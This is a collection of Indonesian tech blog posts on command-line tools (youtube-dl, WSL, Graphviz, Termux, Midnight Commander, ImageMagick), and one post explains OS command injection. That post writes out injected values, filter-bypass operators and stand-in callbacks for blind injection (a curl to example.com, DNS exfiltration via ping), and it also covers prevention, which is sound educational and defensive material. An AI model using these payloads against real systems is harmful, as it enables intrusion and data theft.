Download video Youtube

Dulu waktu kami sampai di Chiang Mai, kecepatan internet kami hanya 1 MBPs dan waktu itu kebetulan karena faktor tertentu Youtube sedang diblokir di Thailand. Setelah ada Youtube kami bisa streaming dengan lancar dan waktu itu belum pernah butuh download video dari Youtube.

Tapi kemudian ternyata ada banyak alasan kenapa kami jadi butuh download video Youtube. Di jaman kami memakai tablet Blackberry Playbook, Youtube hanya bisa dimainkan jika terhubung ke Internet via WIFI jadi mau tidak mau harus mendownload video agar bisa dibuka offline ketika sedang jalan di luar.

Dulu ada beberapa video yang disukai Jonathan dan videonya tiba-tiba diremove dari Youtube. Pelajaran berikutnya: jika memang ada video yang dirasa “penting”, maka sebaiknya perlu didownload. Ini juga berguna jika internet mati sementara (walau cukup jarang).

Sekarang Youtube mobile sudah memiliki fitur untuk mendownload video tertentu (tidak semua video bisa didownload). Fitur ini cukup berguna, terutama jika ingin bepergian tanpa akses Internet sementara (misalnya dalam penerbangan), tapi secara umum kurang berguna untuk sehari-hari.

Mendownload video dari Youtube juga berguna karena video bisa dimainkan bebas iklan setelah download. Di browser jika kita memakai uBlock Origin kita bisa memblok iklan dari Youtube, tapi di Android/iOS kita tidak bisa memakai ini. Sebenarnya ada berbagai cara untuk melihat video youtube tanpa iklan, tapi ini main kucing-kucingan dengan Google dan sekarang lebih sering gagal. Jadi download video adalah cara paling efektif menonton bebas iklan untuk video panjang.

Dulu saya sempat memakai berbagai website dan extension untuk membantu mendownload video youtube, tapi semuanya tidak tahan lama. Video downloader yang saya pakai selama beberapa tahun terakhir ini adalah: youtube-dl. Ini berbasis command line, walau ada juga yang membuatkan interfacenya. Selain bisa dipkai mendownload video Youtube, youtube-dl juga bisa digunakan mendownload video dari berbagai situs video lainnya.

Perlu diperhatikan bahwa mendownload video ini tidak sepenuhnya legal, jadi sebaiknya jangan diupload lagi ke situs lain. Hasil download video tidak saya bagikan ke orang lain dan hanya untuk keperluan sendiri.

Windows Subsystem for Linux

Salah satu alasan saya dulu menyukai OS X adalah: ada terminal di mana kita bisa menjalankan berbagai utility command line yang sudah saya kenal bertahun-tahun. Sementara dulu di Windows kita perlu menginstall Cygwin atau MSys agar bisa memakai shell, dan perintah yang adapun sangat terbatas.

Tapi sejak beberapa tahun lalu Microsoft mendukung Windows Subsystem for Linux (WSL) atau kadang dikenal sebagai: bash on Windows. Begitu diumumkan, saya langsung mendaftar agar bisa langsung mencoba fiturnya. Awalnya saya tidak berharap banyak, tapi ternyata implementasinya memang bagus, dan ini sudah jadi sesuatu yang saya pakai setiap hari.

Teknologi yang dipakai WSL adalah menjalankan langsung syscall Linux di Windows. Jadi kita tidak perlu mengkompilasi ulang program kita di Linux, bisa langsung dicopy dan akan jalan di Windows. Tentunya ini hanya bisa jika semua library/dependency dicopy juga ke Windows. Microsoft hanya mendukung WSL ini di sistem 64 bit. Tidak 100% program Linux bisa jalan (apalagi jika mengakses hardware), tapi lebih dari 90% aplikasi yang saya butuhkan bisa jalan di WSL.

Setiap kali butuh perintah yang biasanya hanya ada di Linux (misalnya find), saya langsung mengetik “bash” untuk masuk ke shell bash di direktori saat ini, lalu menjalankan perintahnya. Microsoft tidak menyediakan XServer, tapi kita bisa memakai VcXsrv untuk menjalankan aplikasi X.

Gabungan berbagai program GUI Windows dan keampuhan command line Linux membuat saya jadi betah memakai Windows. Dulunya saya sempat ingin mendalami PowerShell, tapi baru tahu permukaannya saja sudah merasa bahwa bahasanya agak aneh. Sekarang sejak adanya WSL ini, saya jadi lebih jarang lagi memakai powershell.

CLI: Graphviz

Ini merupakan program favorit saya untuk visualisai node dalam sebuah graph. Ketika membuat program yang memproses data graph dan ingin mendebug isinya, saya akan membuat file teks dalam bahasa DOT (Graph Description Language) lalu merendernya jadi file PNG/PDF.

File DOT bisa sangat sederhana, contohnya seperti ini. Dalam contoh ini saya memakai digraph (directed graph) atau graph dengan arah. Jika ingin graph tanpa arah bisa memakai graph saja dan ganti “->” dengan “–“.

digraph test {
A -> B;
B -> C;
B -> D;
}

Rendering bisa dilakukan dengan mudah:

dot -Tpng test.dot > test.png

Dan contoh hasilnya seperti ini:

Selain graph sederhana seperti itu, tiap arc dan node bisa memilik atribut untuk mengganti: bentuk, warna, teks. Jadi selain untuk keperluan debugging (yang sering saya pakai), graphnya bisa diperindah untuk jadi output bagi end user.

Data yang bisa ditampilkan dalam bentuk graph ada banya, tergantung pada masalah yang sedang dikerjakan, beberapa contohnya:

  • Visualisasi foreign key pada tabel di database
  • Visualisasi Abstract Syntax Tree ketika parsing
  • Visualisasi konektivitas node di jaringan

Semoga informasi mengenai dot ini bisa berguna untuk debugging/visualisasi data.

Termux Widget

Di posting ini saya hanya ingin sharing salah satu tips memakai aplikasi Termux di Android. Aplikasi Termux memungkinkan kita menjalankan sebagian aplikasi Linux di Android tanpa root. Saya sendiri punya server yang bisa diakses kapan saja, jadi jarang sekali butuh memakai ini untuk sehari-hari (cukup melakukan koneksi ke server untuk menjalankan sesuatu).

Meskipun tidak banyak saya pakai, saya punya beberapa trik yang ingin saya bagikan terutama terkait dengan Termux Widget. Dengan Widget ini kita bisa melakukan beberapa aksi dengan sekali sentuh dari launcher.

Saat ini beberapa aksi yang saya set shortcutnya:

  • restart magisk. Bagian “magisk hide” sejak Android 9 sering error dan Magisk jadi terdeteksi oleh program lain. Solusinya adalah dengan merestart HP, atau cukup merestart magisk hide
  • SSH from home dan SSH to home. Shortcut pertama untuk masuk ke server internal rumah (dari rumah) dan yang kedua untuk SSH dari luar rumah ke router
  • Start SSHD. Kadang saya ingin mengedit sesuatu di ponsel (contohnya mengedit daftar shortcut), saya bisa menjalankan ssh daemon dengan sekali sentuh
  • update notes: ini untuk mengupdate catatan yang saya simpan di repositori git
  • update wallpaper: ini menambahkan IP address di wallpaper dengan bantuan ImageMagick

Untuk membuat shortcut, kita cuma perlu membuat file skrip di dalam direktori “.shortcuts” (dot shortcuts). Skripnya terserah kita isinya apa, berikut ini contoh salah satu isi skrip saya.

Terlihat bahwa saya memakai beberapa perintah dengan awalan termux, perintah-perintah tersebut bisa diaktifkan dengan menginstall Termux API. Ada banyak hal-hal menarik yang bisa dilakukan dengan Termux API, misalnya:

  • membaca call log
  • membaca SMS log (kita bisa membuat skrip untuk memforward ke Telegram)
  • mengeset keyboard

Untuk masalah scheduling, memakai cron di termux tidak reliable, jadi saya memakai Tasker yang memanggil skrip shell. Sekarang ini saya memakai tasker yang akan mengarsipkan SMS dan mempush arsipnya ke git setiap beberapa jam.

Jika Anda adalah orang yang sering memakai Termux, maka coba pelajari Termux API dan Termux Widgets. Untuk Anda yang jarang memakai Termux tapi punya beberapa hal yang ingin diotomasi, cobalah memakai Termux dan lihat apakah bisa menyelesaikan masalah Anda.

CLI: Midnight Commander

Midnight Commander adalah aplikasi file manager untuk mode teks. Berbeda dengan aplikasi console lain yang sudah saya bahas, aplikasi Midnight Commander (MC) sifatnya interaktif. Program Midnight Commander ini merupakan clone dari Norton Commander (NC) yang sempat populer sejak 1986-1998). Midnight Commander sendiri dimulai sejak lama (1994).

Tampilan MC sangat serupa dengan NC di DOS. Warna tema defaultnya juga sama: biru. Layar dibagi jadi dua bagian, kiri dan kanan dan kita bisa menyalin file dari kiri ke kanan atau sebaliknya. MC (seperti juga NC) punya berbagai fitur built in seperti melihat/mengedit file, menghapus file, mengganti atribut file, dsb.

Biasanya saya suka 100% bekerja dengan mengetikkan perintah langsung di shell, tapi dalam kasus tertentu cara interaktif ini lebih enak. Saya punya fleksibilitas command line. Misalnya jika ingin memilih file dengan nama diawali “laporan” dan ada kata “Mei” di tengah lalu diakhiri “txt”, saya bisa menekan plus (+) lalu mengetik “laporan*Mei*txt” dan semua file yang memenuhi kondisi itu akan terpilih. Berikutnya saya bisa menekan aksi misalnya F5 (copy), F6 (move), atau F8 (delete).

Jika saya memilih file sebelum aksi dilakukan saya bisa melihat total byte terpilih, ini berguna karena:

  • saya yakin seleksi yang dilakukan sudah benar (contoh bila ternyata total file terpilih sangat sedikit, kemungkinan salah pilih file)
  • jika ingin mengcopy file bisa tahu akan butuh waktu lama atau tidak
  • jika ingin menghapus file bisa dilihat berapa disk space yang akan tersedia setelah itu

Kegunaan lain MC adalah untuk melihat isi file arsip kompresi (seperti ZIP atau TAR.GZ) tanpa harus mengekstrak filenya dulu (fitur ini disebut VFS: virtual filesystem). Menurut saya ini lebih cepat dari beberapa perintah command line untuk:

  • melist isi file arsip
  • mengekstrak 1 file saja
  • melihat filenya
  • menghapus filenya setelah selesai

MC juga bisa melakukan koneksi sftp, tapi ini jarang saya pakai. Aksi-aksi custom juga bisa dilakukan dengan membuat “user menu” yang defaultnya diaktifkan dengan tombol F2.

Jika keyboard kita tidak memiliki tombol fungsi (F1-F10), kita bisa menggunakan ESC lalu 1 (untuk F1), ESC lalu 2 (F2) dst, untuk F10 kita memakai ESC 0.

Demikian ulasan singkat mengenai MC. Saya lihat tidak banyak orang yang memakai program ini (karena sepertinya memang kurang terkenal). Semoga yang belum kenal jadi mau mencoba program ini (tersedia juga untuk Windows dan OS lain, tidak cuma di Linux).

Mengenal command Injection Attack

Dalam tulisan ini saya akan membas attack “command injection” atau dikenal juga sebagi “OS command injection”, di mana attacker bisa menyisipkan perintah untuk dieksekusi. Seperti saya contohkan dalam beberapa artikel saya dalam kategori CLI, banyak program CLI yang bisa melakukan hal kompleks dengan sangat mudah. Kadang seseorang akan memanggil program CLI eksternal daripada harus coding sendiri fungsionalitas yang rumit. Contohnya: untuk resize satu image dengan imagemagick bisa dilakukan dengan satu perintah:

convert -resize 50% input.jpg output.jpg

Dan ini bisa dipanggil dari program lain, misalnya PHP dengan:

system("convert -resize 50% input.jpg output.jpg")

Atau python dengan

import os
os.system("convert -resize 50% input.jpg output.jpg")

Atau bahasa-bahasa lain dengan cara serupa. Seperti halnya SQL injection, jika kita tidak melakukan “shell escaping” maka akibatnya bisa fatal. Contoh sederhana lain yang ada pada banyak router adalah penggunaan perintah ping via web interface. Di balik layar, yang dilakukan adalah:

system("ping -c 3 $target")

Jika kita bisa memasukkan apapun dalam $target, tanpa verifikasi, maka kita bisa memasukkan: “localhost; ls”, hasilnya: command ping localhost dieksekusi, lalu ls dieksekusi. Dalam kasus ini biasanya output ls akan muncul di layar.

Contoh command injection pada router yang saya miliki

Command injection ini bisa juga pada nama file. Jadi di contoh sebelumnya mengenai resize gambar:

system("convert -resize 50% $input tmp.jpg")

Jika kita bisa memberikan nama file apa saja, maka injection juga bisa terjadi (misalnya nama filenya “test;ls.jpg”). Dalam kasus seperti ini kita tidak bisa melihat output perintah (blind injection). Ada trik tertentu untuk eksfiltrasi output dalam kasus blind injection.

Perlu dicatat bahwa filtering beberapa karakter saja tidak cukup. Contohnya jika semicolon (;) difilter, maka masih ada beberapa cara lain untuk eksekusi perintah, misalnya:

  • memakai “|| perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “&& perintah” (jika perintah pertama gagal, eksekusi perintah kedua)
  • memakai “$(perintah)” atau “`perintah`” (memakai backtick) untuk eksekusi sub command

Ada berbagai trik yang berhubungan dengan command injection, tapi pada dasarnya sama: kita perlu memahami penggunaan shell. Contoh kasus lain bisa dibaca di posting saya yang berbahasa inggris mengenai eksploitasi Firewall PAN OS.

Blind Command Injection

Jika output sebuah perintah tidak bisa dilihat, maka ada beberapa hal yang bisa dicoba. Pertama adalah konfirmasi bahwa memang ada bug dengan melakukan koneksi keluar menggunakan wget/curl. Misalnya kita mengeksekusi:

curl example.com/mytest.php

Jika kita liat ada hit terhadap URL tersebut, maka kita tahu bahwa command berhasil dijalankan. Jika berhasil, maka kita bisa mendownload dan menjalankan apa saja, termasuk juga connect back shell yang akan melakukan koneksi ke host kita.

Masalah dengan pendekatan di atas adalah adalah: kadang di beberapa host koneksi keluar tidak diijinkan. Alternatif lain adalah dengan DNS exfiltration

ping namahostrahasia.example.com

Dalam kasus ini kita harus mensetup tool untuk memberikan notifikasi jika host tersebut diresolve. Setelah itu diperlukan kreativitas untuk mengubah output menjadi dns request.

Pencegahan

Setiap command harus diescape supaya tidak dinterpretasikan oleh shell. Misalnya ; menjadi \;. Fungsi untuk escape ini bisa dicek di masing-masing bahasa yang dipakai.

Beberapa command juga memiliki opsi yang berbahaya yang bisa diaktifkan dengan -opsi atau –opsi. Hal ini perlu ditangani khusus, atau untuk tool yang berbasis GNU bisa memakai “–” untuk menghentikan parsing option. Contoh kasus seperti ini:

rm $namafile

Jika nama file adalah “-rf data”, maka seluruh data akan dihapus. Tapi jika kita memakai:

rm -- $namafile

Maka “-rf” tidak dianggap sebagai option, tapi sebagai nama file.

Penutup

Demikian tulisan singkat mengenai command injection. Banyak detail yang tidak saya bahas di sini karena tergantung pada detail targetnya. Pada SQL injection, berbagai command yang kita berikan tergantung pada DBMS yang kita pakai dan hak akses DBMS tersebut. Pada command injection ini juga bergantung pada beberapa hal:

  • Sistem operasi (perintah Windows berbeda dengan Linux dan sering kali banyak hal yang berbeda dengan FreeBSD atau OS lain)
  • perintah yang tersedia (jika eksploitasi dilakukan pada router, perintah yang tersedia biasanya dari Busybox dan bisa terbatas tergantung opsi compilenya)
  • Input filtering. Kadang ada filtering yang tidak tuntas, dan kadang teknik yang berbeda perlu dipakai

CLI: ImageMagick

Dalam seri CLI kali ini saya akan membahas ImageMagick yang merupakan program command line untuk manipulasi file citra/image. Ada banyak hal yang bisa dilakukan dengan ImageMagick antara lain:

  • konversi dari satu format image ke yang lain
  • resize, rotate, crop, flip file image
  • memberi frame pada file image
  • membuat file image yang berisi teks

Dalam banyak kasus, pemakaian imagemagick ini sangat mudah. Misalnya ingin konversi dari jpg menjadi png:

convert nama.jpg nama.png

Atau melakukan resize menjadi 50% dari semula

convert -resize  50% input.jpg output.jpg

Contoh lain adalah rotasi

convert -rotate 90 input.jpg output.jpg

Sebenarnya semua perintah convert bisa diganti menjadi mogrify jika kita ingin outputnya menimpa input. Tapi biasanya ini tidak saya lakukan, karena berbahaya. Contohnya jika kita salah mengubah ukuran seharusnya 50% dari semula tapi salah ketik jadi 5% dari semula, maka file tidak akan bisa dikembalikan jika kita memakai mogrify.

Saya tidak hapal banyak perintah ImageMagick, kecuali perintah-perintah yang sederhana. Biasanya saya harus melihat lagi contoh-contoh di web image magick untuk melakukan hal yang kompleks. Ada halaman khusus di ImageMagick yang memberikan contoh apa saja yang bisa dilakukan dengan ImageMagick.

Sebagian kapabilitas ImageMagick lengkapnya silakan lihat halaman contoh resmi

Untuk editing yang sangat spesifik satu gambar saja, saya akan memakai Gimp atau KolourPaint secara interaktif. Sedangkan jika saya punya banyak gambar yang harus diresize atau diedit dengan cara yang sama, saya akan menggunakan ImageMagick.